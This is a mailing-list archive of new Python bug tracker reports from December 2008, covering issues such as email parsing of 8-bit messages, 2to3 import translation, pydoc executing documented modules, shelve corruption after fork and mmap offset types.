Email messages, however, can contain 8bit characters in any encoding 
other than the local one (yet still be valid e-mails, of course), so I 
think a method is needed to have the parser be able to receive bytes. 
At the moment, and as far as I can see, it's not possible to parse 
some perfectly valid messages with python 3.0.

I don't think it's appropriate to ask that files be opened with the 
proper encoding, and then for the parser to read them. First, it is 
not possible to know what encoding that would be without parsing the 
message. And second, a message could contain parts in different 
encoding, and many mailboxes with random messages most certainly do.

Also, message objects will need a way to return a bytes repreentation, 
for the reasons explained above, and particularly if one wants to 
write back the message without modifying it.

----------
components: Library (Lib)
messages: 77807
nosy: dato
severity: normal
status: open
title: email.parser: impossible to read messages encoded in a different encoding
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4661>
_______________________________________

From report at bugs.python.org  Sun Dec 14 18:34:43 2008
From: report at bugs.python.org (Andrii V. Mishkovskyi)
Date: Sun, 14 Dec 2008 17:34:43 +0000
Subject: [New-bugs-announce] [issue4662] posix module lacks several
	DeprecationWarning's
In-Reply-To: <1229276083.72.0.194776097767.issue4662@psf.upfronthosting.co.za>
Message-ID: <1229276083.72.0.194776097767.issue4662@psf.upfronthosting.co.za>


New submission from Andrii V. Mishkovskyi <mishok13 at gmail.com>:

posix module lacks DeprecationWarning for the functions listed below:
tempnam, tmpfile, fdopen, getcwdu, popen, tmpnam
All of these are absent in 3.0, so I think adding DeprecationWarning to
all of them would be useful.
Attaching a straight-forward patch against latest trunk checkout.

----------
files: posixmodule.patch
keywords: patch
messages: 77810
nosy: mishok13
severity: normal
status: open
title: posix module lacks several DeprecationWarning's
versions: Python 2.6, Python 2.7
Added file: http://bugs.python.org/file12354/posixmodule.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4662>
_______________________________________

From report at bugs.python.org  Sun Dec 14 19:18:31 2008
From: report at bugs.python.org (Antoine Pitrou)
Date: Sun, 14 Dec 2008 18:18:31 +0000
Subject: [New-bugs-announce] [issue4663] Increase TextIOWrapper._CHUNK_SIZE
In-Reply-To: <1229278711.0.0.240635346547.issue4663@psf.upfronthosting.co.za>
Message-ID: <1229278711.0.0.240635346547.issue4663@psf.upfronthosting.co.za>


New submission from Antoine Pitrou <pitrou at free.fr>:

Simply bumping TextIOWrapper._CHUNK_SIZE from 128 to 1024 yields some
significant performance improvements.

./python -m timeit -s "f=open('LICENSE')" "f.seek(0)" "for line in f: pass"
 -> with 128: 6.21 msec per loop
 -> with 1024: 3.41 msec per loop

./python -m timeit -s "f=open('LICENSE')" "f.seek(0)" "while
f.read(100): pass"
 -> with 128: 4.03 msec per loop
 -> with 1024: 1.25 msec per loop

Is there any counter-indication to doing so?

----------
messages: 77814
nosy: christian.heimes, pitrou
priority: high
severity: normal
status: open
title: Increase TextIOWrapper._CHUNK_SIZE
type: performance
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4663>
_______________________________________

From report at bugs.python.org  Sun Dec 14 20:07:21 2008
From: report at bugs.python.org (Lennart Regebro)
Date: Sun, 14 Dec 2008 19:07:21 +0000
Subject: [New-bugs-announce] [issue4664] import urlparse, cStringIO breaks
In-Reply-To: <1229281641.77.0.655389756629.issue4664@psf.upfronthosting.co.za>
Message-ID: <1229281641.77.0.655389756629.issue4664@psf.upfronthosting.co.za>


New submission from Lennart Regebro <regebro at gmail.com>:

If you have urlparse before cStringIO in an import line, 2to3 will not
convert the cStringIO to io. However, reverse the order, and urlparse
will not get translated.

So this file:
import urlparse, cStringIO
import cStringIO, urlparse

will with 2to3 return the following diff:

--- test3.py (original)
+++ test3.py (refactored)
@@ -1,3 +1,3 @@
 
-import urlparse, cStringIO
-import cStringIO, urlparse
+import urllib.parse, cStringIO
+import io, urlparse

----------
components: 2to3 (2.x to 3.0 conversion tool)
messages: 77815
nosy: lregebro
severity: normal
status: open
title: import urlparse, cStringIO breaks
type: behavior
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4664>
_______________________________________

From report at bugs.python.org  Sun Dec 14 22:16:32 2008
From: report at bugs.python.org (Skip Montanaro)
Date: Sun, 14 Dec 2008 21:16:32 +0000
Subject: [New-bugs-announce] [issue4665] Failure to compile trunk on
	Solaris10/SPARC using C++ compiler
In-Reply-To: <18757.30636.523605.327524@montanaro-dyndns-org.local>
Message-ID: <18757.30636.523605.327524@montanaro-dyndns-org.local>


New submission from Skip Montanaro <skip at pobox.com>:

I don't know if the Python source is supposed to be compilable with a C++
compiler or not, but I'm having trouble finding a C compiler on the
Solaris10/SPARC machines at work.  I decided to give a C++ compiler a whirl:

    /opt/gnu/bin/c++ -c -fno-strict-aliasing -DNDEBUG -g  -O3 -Wall -Wstrict-prototypes  -I. -IInclude -I../Include   -DPy_BUILD_CORE -o Parser/tokenizer.o ../Parser/tokenizer.c
    ../Parser/tokenizer.c: In function `char * PyTokenizer_RestoreEncoding(tok_state *, int, int *)':
    ../Parser/tokenizer.c:1614: ANSI C++ forbids implicit conversion from `void *' in assignment

Now this turns out to be a very old compiler:

    % /opt/gnu/bin/c++ --version
    2.95.3

Should Python be able to compile with this ancient GNU C++ compiler?

Thx,

Skip

----------
messages: 77828
nosy: skip.montanaro
severity: normal
status: open
title: Failure to compile trunk on Solaris10/SPARC using C++ compiler

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4665>
_______________________________________

From report at bugs.python.org  Sun Dec 14 22:56:30 2008
From: report at bugs.python.org (Antoine Pitrou)
Date: Sun, 14 Dec 2008 21:56:30 +0000
Subject: [New-bugs-announce] [issue4666] test_bad_address in
	test_urllib2_localnet often fails
In-Reply-To: <1229291790.02.0.754005810213.issue4666@psf.upfronthosting.co.za>
Message-ID: <1229291790.02.0.754005810213.issue4666@psf.upfronthosting.co.za>


New submission from Antoine Pitrou <pitrou at free.fr>:

This error is often seen on the buildbots (both py3k and trunk):

======================================================================
FAIL: test_bad_address (test.test_urllib2_localnet.TestUrlopen)
----------------------------------------------------------------------
Traceback (most recent call last):
  File
"E:\cygwin\home\db3l\buildarea\3.0.bolen-windows\build\lib\test\test_urllib2_localnet.py",
line 452, in test_bad_address
    "http://www.python.invalid./")
AssertionError: IOError not raised by urlopen

----------
components: Tests
messages: 77840
nosy: pitrou
priority: high
severity: normal
status: open
title: test_bad_address in test_urllib2_localnet often fails
type: behavior
versions: Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4666>
_______________________________________

From report at bugs.python.org  Mon Dec 15 00:39:04 2008
From: report at bugs.python.org (Santiago Gala)
Date: Sun, 14 Dec 2008 23:39:04 +0000
Subject: [New-bugs-announce] [issue4667] Patch with a couple of 2.0isms in
	tutorial
In-Reply-To: <1229297944.68.0.249112177574.issue4667@psf.upfronthosting.co.za>
Message-ID: <1229297944.68.0.249112177574.issue4667@psf.upfronthosting.co.za>


New submission from Santiago Gala <sgala at apache.org>:

references to reload as builtin or dict.keys as returning a list, and
the use of the .sort method, all gone in 3.X

----------
assignee: georg.brandl
components: Documentation
files: tutorial.patch
keywords: patch
messages: 77843
nosy: georg.brandl, sgala
severity: normal
status: open
title: Patch with a couple of 2.0isms in tutorial
versions: Python 3.0
Added file: http://bugs.python.org/file12359/tutorial.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4667>
_______________________________________

From report at bugs.python.org  Mon Dec 15 00:49:28 2008
From: report at bugs.python.org (Santiago Gala)
Date: Sun, 14 Dec 2008 23:49:28 +0000
Subject: [New-bugs-announce] [issue4668] examples in the functional howto
	are not consistent with 3.X behavior
In-Reply-To: <1229298568.02.0.45850154168.issue4668@psf.upfronthosting.co.za>
Message-ID: <1229298568.02.0.45850154168.issue4668@psf.upfronthosting.co.za>


New submission from Santiago Gala <sgala at apache.org>:

map and filter don't return lists anymore, so wrapping them in list() in
the examples will make the real output consistent with what is seen in
the doc.

----------
assignee: georg.brandl
components: Documentation
files: 0001-Make-examples-consistent-with-3.0.patch
keywords: patch
messages: 77844
nosy: georg.brandl, sgala
severity: normal
status: open
title: examples in the functional howto are not consistent with 3.X behavior
versions: Python 3.0
Added file: http://bugs.python.org/file12360/0001-Make-examples-consistent-with-3.0.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4668>
_______________________________________

From report at bugs.python.org  Mon Dec 15 09:29:44 2008
From: report at bugs.python.org (John Machin)
Date: Mon, 15 Dec 2008 08:29:44 +0000
Subject: [New-bugs-announce] [issue4669] bytes,join and bytearray.join not
	in manual; help for bytes.join is wrong.
In-Reply-To: <1229329784.58.0.84286765915.issue4669@psf.upfronthosting.co.za>
Message-ID: <1229329784.58.0.84286765915.issue4669@psf.upfronthosting.co.za>


New submission from John Machin <sjmachin at users.sourceforge.net>:

These methods are parallel to str.join, seem to work as expected, and
have "help" entries. However there is nothing in the Library Reference
Manual about them.

>>> help(bytearray.join)
Help on method_descriptor:

join(...)
    B.join(iterable_of_bytes) -> bytearray

    Concatenate any number of bytes/bytearray objects, with B
    in between each pair, and return the result as a new bytearray.
### OK but could use an example.

>>> help(bytes.join)
Help on method_descriptor:

join(...)
    B.join(iterable_of_bytes) -> bytes

    Concatenate any number of bytes objects, with B in between each pair.
### Above sentence should read "Concatenate any number of
bytes/bytearray objects, with B in between each pair, and return the
result as a new bytes object."
    Example: b'.'.join([b'ab', b'pq', b'rs']) -> b'ab.pq.rs'.

----------
assignee: georg.brandl
components: Documentation
messages: 77849
nosy: georg.brandl, sjmachin
severity: normal
status: open
title: bytes,join and bytearray.join not in manual; help for bytes.join is wrong.
versions: Python 3.0, Python 3.1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4669>
_______________________________________

From report at bugs.python.org  Mon Dec 15 12:49:52 2008
From: report at bugs.python.org (Damien Miller)
Date: Mon, 15 Dec 2008 11:49:52 +0000
Subject: [New-bugs-announce] [issue4670] setup.py exception when
	db_setup_debug = True
In-Reply-To: <1229341792.75.0.0111494669008.issue4670@psf.upfronthosting.co.za>
Message-ID: <1229341792.75.0.0111494669008.issue4670@psf.upfronthosting.co.za>


New submission from Damien Miller <djmdjm at users.sourceforge.net>:

Hi,

I receive the following exception when trying to build with
db_setup_debug = True in setup.py. db_ver is not initialised in this
path, except by accident so I think the obvious solution of 

-    if db_setup_debug: print "db.h: unsupported version", db
_ver, "in", d
+    if db_setup_debug: print "db.h: no version in", d

Is the correct fix.

running build
running build_ext
db: looking for db.h in ./db.h
db: looking for db.h in Include/db.h
db: looking for db.h in ./Include/db.h
db: looking for db.h in /usr/local/include/db.h
db: looking for db.h in
/usr/ports/lang/python/2.5/w-Python-2.5.3c1/Python-2.5.3c1/Include/db.h
db: looking for db.h in
/usr/ports/lang/python/2.5/w-Python-2.5.3c1/Python-2.5.3c1/db.h
db: looking for db.h in /usr/include/db.h
db.h: unsupported version
Traceback (most recent call last):
  File "./setup.py", line 1543, in <module>
    main()
  File "./setup.py", line 1538, in main
    scripts = []
  File
"/usr/ports/lang/python/2.5/w-Python-2.5.3c1/Python-2.5.3c1/Lib/distutils/core.py",
line 151, in setup
    dist.run_commands()
  File
"/usr/ports/lang/python/2.5/w-Python-2.5.3c1/Python-2.5.3c1/Lib/distutils/dist.py",
line 974, in run_commands
    self.run_command(cmd)
  File
"/usr/ports/lang/python/2.5/w-Python-2.5.3c1/Python-2.5.3c1/Lib/distutils/dist.py",
line 994, in run_command
    cmd_obj.run()
  File
"/usr/ports/lang/python/2.5/w-Python-2.5.3c1/Python-2.5.3c1/Lib/distutils/command/build.py",
line 112, in run
    self.run_command(cmd_name)
  File
"/usr/ports/lang/python/2.5/w-Python-2.5.3c1/Python-2.5.3c1/Lib/distutils/cmd.py",
line 333, in run_command
    self.distribution.run_command(command)
  File
"/usr/ports/lang/python/2.5/w-Python-2.5.3c1/Python-2.5.3c1/Lib/distutils/dist.py",
line 994, in run_command
    cmd_obj.run()
  File
"/usr/ports/lang/python/2.5/w-Python-2.5.3c1/Python-2.5.3c1/Lib/distutils/command/build_ext.py",
line 290, in run
    self.build_extensions()
  File "./setup.py", line 97, in build_extensions
    self.detect_modules()
  File "./setup.py", line 700, in detect_modules
    if db_setup_debug: print "db.h: unsupported version", db_ver, "in", d
UnboundLocalError: local variable 'db_ver' referenced before assignment

----------
components: Build
messages: 77860
nosy: djmdjm
severity: normal
status: open
title: setup.py exception when db_setup_debug = True
type: compile error
versions: Python 2.5.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4670>
_______________________________________

From report at bugs.python.org  Mon Dec 15 22:27:14 2008
From: report at bugs.python.org (Jim_C)
Date: Mon, 15 Dec 2008 21:27:14 +0000
Subject: [New-bugs-announce] [issue4671] pydoc executes the code to be
	documented
In-Reply-To: <1229376434.19.0.800052631244.issue4671@psf.upfronthosting.co.za>
Message-ID: <1229376434.19.0.800052631244.issue4671@psf.upfronthosting.co.za>


New submission from Jim_C <j.conboy at physics.org>:

Running pydoc [ pydoc <modulename> ] on a python module using Tkinter 
displayed the window defined in the module - not what I was 
expecting..   Running pydoc on

from os import remove
sFile='tmp.tmp'
remove(sFile)

will remove the file tmp.tmp, if it exists. 
If this behaviour is intentional ( as it appears to be, see 
imp.load_module ) & presumably integral to the operation of pydoc, then 
it might be worth providing a warning on the web page ( 
http://docs.python.org/library/pydoc.html ) ?? 
Running a code with default arguments in an arbitrary directory could 
potentially produce unwanted side effects, at the very least..
Regards ,
Jim_C

----------
messages: 77881
nosy: Jim_C
severity: normal
status: open
title: pydoc executes the code to be documented
type: behavior
versions: Python 2.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4671>
_______________________________________

From report at bugs.python.org  Mon Dec 15 23:22:32 2008
From: report at bugs.python.org (Andy Buckley)
Date: Mon, 15 Dec 2008 22:22:32 +0000
Subject: [New-bugs-announce] [issue4672] Distutils SWIG support blocks use
	of SWIG -outdir option
In-Reply-To: <1229379752.29.0.666537313596.issue4672@psf.upfronthosting.co.za>
Message-ID: <1229379752.29.0.666537313596.issue4672@psf.upfronthosting.co.za>


New submission from Andy Buckley <andy at insectnation.org>:

When using distutils to build an extension module using SWIG, it makes
most sense to use the built-in SWIG support. However, the distutils seem
to "vet" the options passed via the Extension.swig_opts attr/arg:

[...]
ext_modules=[Extension('_hepmc', ['@top_srcdir@/hepmc.i'],
               swig_opts=['-c++', '-I at HEPMCINCPATH@', '-outdir .'],
               include_dirs=['@HEPMCINCPATH@'],
               library_dirs=['@HEPMCLIBPATH@'],
               libraries=['HepMC'])],
[...]

results in this error:

building '_hepmc' extension
swigging ./hepmc.i to ./hepmc_wrap.cpp
swig -python -c++ -I/home/andy/heplocal/include -outdir . -o
./hepmc_wrap.cpp ./hepmc.i
swig error : Unrecognized option -outdir .
Use 'swig -help' for available options.
error: command 'swig' failed with exit status 1

but calling the same swig command works fine. It's the same copy of
swig, but it seems to be distutils rather than swig that is throwing the
error. This is particularly relevant since I need to use -outdir to meet
the autotools "distcheck" requirement of successfully building from a
build-dir separate from the source dir: code generation tools like SWIG
blur such a distinction and so need to support output location flags
like -outdir.

I see this was also noticed some time ago:
http://osdir.com/ml/python.distutils.devel/2006-06/msg00009.html
but no useful reply was ever forthcoming ;(  Maybe this time will be
luckier!

----------
components: Distutils
messages: 77883
nosy: andybuckley
severity: normal
status: open
title: Distutils SWIG support blocks use of SWIG -outdir option
type: behavior
versions: Python 2.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4672>
_______________________________________

From report at bugs.python.org  Mon Dec 15 23:28:54 2008
From: report at bugs.python.org (Andy Buckley)
Date: Mon, 15 Dec 2008 22:28:54 +0000
Subject: [New-bugs-announce] [issue4673] Distutils should provide an
	uninstall command
In-Reply-To: <1229380134.57.0.765808366709.issue4673@psf.upfronthosting.co.za>
Message-ID: <1229380134.57.0.765808366709.issue4673@psf.upfronthosting.co.za>


New submission from Andy Buckley <andy at insectnation.org>:

It would make package maintenance easier, as well as integration with
other build systems e.g. autotools (necessary for projects where not
everything is Python), if the distutils supported an uninstallation
command, e.g.

python setup.py uninstall

This would presumably require monitoring of which files were installed
where, and it's of course possible to do undesirable things, but exactly
the same counter-arguments exist for autotools, and there the uninstall
target is an important and useful feature for developers, once you know
how to behave in a way to make it safe.

----------
components: Distutils
messages: 77885
nosy: andybuckley
severity: normal
status: open
title: Distutils should provide an uninstall command
type: feature request
versions: Python 2.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4673>
_______________________________________

From report at bugs.python.org  Tue Dec 16 14:09:39 2008
From: report at bugs.python.org (Antoine Pitrou)
Date: Tue, 16 Dec 2008 13:09:39 +0000
Subject: [New-bugs-announce] [issue4674] test_normalization failures on some
	buildbot
In-Reply-To: <1229432979.42.0.68448334013.issue4674@psf.upfronthosting.co.za>
Message-ID: <1229432979.42.0.68448334013.issue4674@psf.upfronthosting.co.za>


New submission from Antoine Pitrou <pitrou at free.fr>:

test_normalization intermittently fails on some buildbots with the
following message:

Traceback (most recent call last):
  File "./Lib/test/regrtest.py", line 596, in runtest_inner
    the_package = __import__(abstest, globals(), locals(), [])
  File
"/home/pybot/buildarea/3.0.klose-debian-ia64/build/Lib/test/test_normalization.py",
line 13, in <module>
    l = f.readline()
  File "/home/pybot/buildarea/3.0.klose-debian-ia64/build/Lib/io.py",
line 1810, in readline
    while self._read_chunk():
  File "/home/pybot/buildarea/3.0.klose-debian-ia64/build/Lib/io.py",
line 1559, in _read_chunk
    self._set_decoded_chars(self._decoder.decode(input_chunk, eof))
  File "/home/pybot/buildarea/3.0.klose-debian-ia64/build/Lib/io.py",
line 1292, in decode
    output = self.decoder.decode(input, final=final)
  File
"/home/pybot/buildarea/3.0.klose-debian-ia64/build/Lib/encodings/ascii.py",
line 26, in decode
    return codecs.ascii_decode(input, self.errors)[0]
UnicodeDecodeError: 'ascii' codec can't decode byte 0xe1 in position
1129: ordinal not in range(128)

----------
components: Tests
messages: 77899
nosy: pitrou
priority: high
severity: normal
status: open
title: test_normalization failures on some buildbot
type: crash
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4674>
_______________________________________

From report at bugs.python.org  Tue Dec 16 20:27:12 2008
From: report at bugs.python.org (Mihai Ibanescu)
Date: Tue, 16 Dec 2008 19:27:12 +0000
Subject: [New-bugs-announce] [issue4675] urllib's splitpasswd does not
	accept newline chars in passwords
In-Reply-To: <1229455632.0.0.358250268025.issue4675@psf.upfronthosting.co.za>
Message-ID: <1229455632.0.0.358250268025.issue4675@psf.upfronthosting.co.za>


New submission from Mihai Ibanescu <mihai.ibanescu at gmail.com>:

According to http://www.ietf.org/rfc/rfc2617.txt section 2, in basic
HTTP authentication the password can be any character (including newline).

urllib does the following:

_passwdprog = re.compile('^([^:]*):(.*)$')

That should be changed to:

_passwdprog = re.compile('^([^:]*):(.*)$', re.S)

otherwise newlines will not be caught by the second part of the regex,
and bad things are produced.

For a password with regular chars in it:

> python -c "import urllib; print urllib.splitpasswd('user:ab')"
('user', 'ab')

For a password with a newline:
> python -c "import urllib; print urllib.splitpasswd('user:a\nb')"
('user:a\nb', None)

The expected result should have been ('user', 'a\nb')

----------
components: Library (Lib)
messages: 77919
nosy: mibanescu
severity: normal
status: open
title: urllib's splitpasswd does not accept newline chars in passwords
type: behavior
versions: Python 2.6, Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4675>
_______________________________________

From report at bugs.python.org  Tue Dec 16 20:43:43 2008
From: report at bugs.python.org (Somelauw)
Date: Tue, 16 Dec 2008 19:43:43 +0000
Subject: [New-bugs-announce] [issue4676] python3 closes + home keys
In-Reply-To: <1229456623.89.0.997761344417.issue4676@psf.upfronthosting.co.za>
Message-ID: <1229456623.89.0.997761344417.issue4676@psf.upfronthosting.co.za>


New submission from Somelauw <Somelauw at yahoo.com>:

I'm using python 3.0 final which was released on December the 3th.
I also have python 2.5 installed.

2 bugs in python3 IDLE which might be related (but don't have to)

1.
The Python3 IDLE sometimes suddenly closes.
It always happens when I'm using it for a while, then press the shift +
home or end key and then it just disappears and my unsaved work is lost.
It really completely exits without an error and I also don't see it on
the background.

I'm unable to reproduce the error. But it usually happens when I have
hold down shift and press the home key.

2.
When I have some code then scroll down the code, then hold down shift
and press up a few times, then press home the selected code completely
switches.
Instead some code above the cursor suddenly gets selected.

The reason I think both are related is because both involve shift + home
key.

Both of the bugs have never happened in the IDLE 1.2.1 which was part of
python 2.5.2
I think

----------
components: IDLE
messages: 77921
nosy: Somelauw
severity: normal
status: open
title: python3 closes + home keys
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4676>
_______________________________________

From report at bugs.python.org  Tue Dec 16 23:19:20 2008
From: report at bugs.python.org (Antoine Pitrou)
Date: Tue, 16 Dec 2008 22:19:20 +0000
Subject: [New-bugs-announce] [issue4677] a list comprehensions tests for
	pybench
In-Reply-To: <1229465960.59.0.848969060815.issue4677@psf.upfronthosting.co.za>
Message-ID: <1229465960.59.0.848969060815.issue4677@psf.upfronthosting.co.za>


New submission from Antoine Pitrou <pitrou at free.fr>:

This patch adds some measurements of list comprehensions performance to
the standard pybench suite. Marc-Andr?, is it ok for you?

----------
components: Demos and Tools
files: pybench-listcomps.patch
keywords: patch
messages: 77938
nosy: lemburg, pitrou
priority: normal
severity: normal
stage: patch review
status: open
title: a list comprehensions tests for pybench
type: performance
versions: Python 2.7, Python 3.1
Added file: http://bugs.python.org/file12368/pybench-listcomps.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4677>
_______________________________________

From report at bugs.python.org  Wed Dec 17 00:25:24 2008
From: report at bugs.python.org (Eric Eisner)
Date: Tue, 16 Dec 2008 23:25:24 +0000
Subject: [New-bugs-announce] [issue4678] Unicode: multiple chars for high
	code points
In-Reply-To: <1229469924.95.0.71145202333.issue4678@psf.upfronthosting.co.za>
Message-ID: <1229469924.95.0.71145202333.issue4678@psf.upfronthosting.co.za>


New submission from Eric Eisner <ede at mit.edu>:

I discovered this when trying to splice a string containing unicode
codepoints higher than U+FFFF


all examples on 32-bit Ubuntu Linux

python 2.5.2 (for comparison):
sys.maxunicode     # 1114111
len(unichr(66674)) # 1
len(u'\U00010472') # 1
len(u'??')          # 2
unichr(66674)[0]   # u'\U00010472'


python 3.0: (same behavior on ubuntu's rc1 package and my build(r67781)
from svn)
sys.maxunicode    # 65535
len(chr(66674))   # 2
len('\U00010472') # 2
len('??')          # 2
chr(66674)[0]     # '\ud801'

I expect the nth element of a string to be the nth codepoint, regardless
of unicode settings. I don't know why the maxunicode is configured
differently (both compiled by ubuntu), but is this the expected behavior?

If this is actually the expected behavior, how can I configure a build
of python to use the larger maxunicode value?

----------
components: Unicode
messages: 77940
nosy: ede
severity: normal
status: open
title: Unicode: multiple chars for high code points
versions: Python 3.0

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4678>
_______________________________________

From report at bugs.python.org  Wed Dec 17 00:42:22 2008
From: report at bugs.python.org (Alex Roper)
Date: Tue, 16 Dec 2008 23:42:22 +0000
Subject: [New-bugs-announce] [issue4679] Fork + shelve causes shelve
	corruption and backtrace
In-Reply-To: <1229470942.41.0.397425864374.issue4679@psf.upfronthosting.co.za>
Message-ID: <1229470942.41.0.397425864374.issue4679@psf.upfronthosting.co.za>


New submission from Alex Roper <alexr at ugcs.caltech.edu>:

Hi,

I wrote a simple script (attached) to do some preprocessing of MediaWiki
XML dumps. When it has a 8 MB chunk ready to dump to disk, it forks, and
the child writes it out and (will) compress it, then exit. The main
thread continues as before. Note that the child thread never touches (or
executes code that has in scope) the shelve handle.

The attached script, as written, will work fine on dumps (I tested it on
enwikisource-20081112-pages-articles.xml available from
http://download.wikimedia.org/enwikisource/20081112/). If you uncomment
the fork on line 40 (and the exit() on line 46 of course) and run it, it
will die after writing out about 450 megabytes with the backtrace below.

This appears to happen deterministically at the same place 3 of the 3
times I ran it. Apologies for the size and complexity of the test, I
don't have time to reduce it further at the moment, and it looks like it
may be fairly involved. I can try to work out a reduced case later and
resubmit if no one wants to touch this as is;)

# I ran the script with:
bzcat enwikisource-20081112-pages-articles.xml.bz2 | ./convert.py
wikisource 8388608
# (after making a dir called wikisource)

Let me know if I can be of any assistance, and apologies if this is
somewhere documented and I missed it.

Using Python 2.6.1 as released from python.org.

Alex

alexr at autumn:~/projects/wikipedia$ cat
enwikisource-20081112-pages-articles.xml | ./convert.py wikisource 8388608
Alexandria version 1, Copyright (C) 2008 Alex Roper
Alexandria comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to copy modify, and
redistribute it
under certain conditions; see the file COPYING for details.
..........................................................Traceback
(most recent call last):
  File "./convert.py", line 100, in <module>
    sax.parse(sys.stdin, Parser(sys.argv[1], MIN_CHUNK_SIZE))
  File "/usr/lib/python2.6/xml/sax/__init__.py", line 33, in parse
    parser.parse(source)
  File "/usr/lib/python2.6/xml/sax/expatreader.py", line 107, in parse
    xmlreader.IncrementalParser.parse(self, source)
  File "/usr/lib/python2.6/xml/sax/xmlreader.py", line 123, in parse
    self.feed(buffer)
  File "/usr/lib/python2.6/xml/sax/expatreader.py", line 207, in feed
    self._parser.Parse(data, isFinal)
  File "/usr/lib/python2.6/xml/sax/expatreader.py", line 304, in end_element
    self._cont_handler.endElement(name)
  File "./convert.py", line 61, in endElement
    s.pagehandler(s.title, s.text)
  File "./convert.py", line 68, in pagehandler
    s.index[title.encode("UTF8")] = (s.chunks, len(s.pages))
  File "/usr/lib/python2.6/shelve.py", line 133, in __setitem__
    self.dict[key] = f.getvalue()
  File "/usr/lib/python2.6/bsddb/__init__.py", line 276, in __setitem__
    _DeadlockWrap(wrapF)  # self.db[key] = value
  File "/usr/lib/python2.6/bsddb/dbutils.py", line 68, in DeadlockWrap
    return function(*_args, **_kwargs)
  File "/usr/lib/python2.6/bsddb/__init__.py", line 275, in wrapF
    self.db[key] = value
bsddb.db.DBRunRecoveryError: (-30975, 'DB_RUNRECOVERY: Fatal error, run
database recovery -- PANIC: Invalid argument')
Exception bsddb.db.DBRunRecoveryError: DBRunRecoveryError(-30975,
'DB_RUNRECOVERY: Fatal error, run database recovery -- PANIC: fatal
region error detected; run recovery') in <bound method Parser.__del__ of
<__main__.Parser instance at 0x7f3492966d40>> ignored
Exception bsddb.db.DBRunRecoveryError: DBRunRecoveryError(-30975,
'DB_RUNRECOVERY: Fatal error, run database recovery -- PANIC: fatal
region error detected; run recovery') in  ignored
Exception bsddb.db.DBRunRecoveryError: DBRunRecoveryError(-30975,
'DB_RUNRECOVERY: Fatal error, run database recovery -- PANIC: fatal
region error detected; run recovery') in  ignored

----------
components: Extension Modules
files: convert.py
messages: 77942
nosy: calmofthestorm
severity: normal
status: open
title: Fork + shelve causes shelve corruption and backtrace
type: behavior
versions: Python 2.6
Added file: http://bugs.python.org/file12370/convert.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4679>
_______________________________________

From report at bugs.python.org  Wed Dec 17 04:06:40 2008
From: report at bugs.python.org (Roy Smith)
Date: Wed, 17 Dec 2008 03:06:40 +0000
Subject: [New-bugs-announce] [issue4680] Queue class should include
	high-water mark
In-Reply-To: <1229483200.4.0.588519649273.issue4680@psf.upfronthosting.co.za>
Message-ID: <1229483200.4.0.588519649273.issue4680@psf.upfronthosting.co.za>


New submission from Roy Smith <roy at panix.com>:

It would be nice if Queue.Queue included a way to access the high-water 
mark, i.e. the largest value which qsize() has ever reached.  This is 
often useful when assessing application performance.

I am assuming this is cheap, i.e. O(1), to provide.

----------
components: Library (Lib)
messages: 77955
nosy: roysmith
severity: normal
status: open
title: Queue class should include high-water mark
type: feature request
versions: Python 2.5.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4680>
_______________________________________

From report at bugs.python.org  Wed Dec 17 09:40:09 2008
From: report at bugs.python.org (saa)
Date: Wed, 17 Dec 2008 08:40:09 +0000
Subject: [New-bugs-announce] [issue4681] mmap offset should be off_t instead
	of ssize_t
In-Reply-To: <1229503209.88.0.900633557014.issue4681@psf.upfronthosting.co.za>
Message-ID: <1229503209.88.0.900633557014.issue4681@psf.upfronthosting.co.za>


New submission from saa <p5thon at saaworld.com>:

In trying to use the mmap offset to allow me to work with a 12GB file, I 
encountered the fact that the new offset parameter was a ssize_t, which 
is only 32 bits on my platform (OS X).  The mmap offset in C is defined 
to be an off_t 
(http://opengroup.org/onlinepubs/007908775/xsh/mmap.html), which is 64 
bits on my platform.  The attached patch attempts to fix the non-Windows 
code to have an off_t offset parameter and allows my code to access all 
12 GB of my file.  As a warning, this is the first time I've even looked 
at the Python source, and wouldn't even consider myself a Python coder; 
I just use Python every few months.  Review the patch carefully.

----------
components: Extension Modules
files: mmap_off_t.patch
keywords: patch
messages: 77957
nosy: saa
severity: normal
status: open
title: mmap offset should be off_t instead of ssize_t
type: behavior
versions: Python 2.6
Added file: http://bugs.python.org/file12375/mmap_off_t.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue4681>
_______________________________________

From report at bugs.python.org  Wed Dec 17 12:02:19 2008
From: report at bugs.python.org (vt)
Date: Wed, 17 Dec 2008 11:02:19 +0000
Subject: [New-bugs-announce] [issue4682] 'b' formatter is actually unsigned
	char
In-Reply-To: <1229511739.0.0.626057427861.issue4682@psf.upfronthosting.co.za>
Message-ID: <1229511739.0.0.626057427861.issue4682@psf.upfronthosting.co.za>


New submission from vt <vt at foilhead.net>:

The 'b' format unit to PyArg_ParseTuple, PyArg_ParseTupleAndKeywords, and PyArg_Parse is described in the documentation (in Parsing arguments and 
building values) as representing a signed char, but actually represents an 
unsigned char.

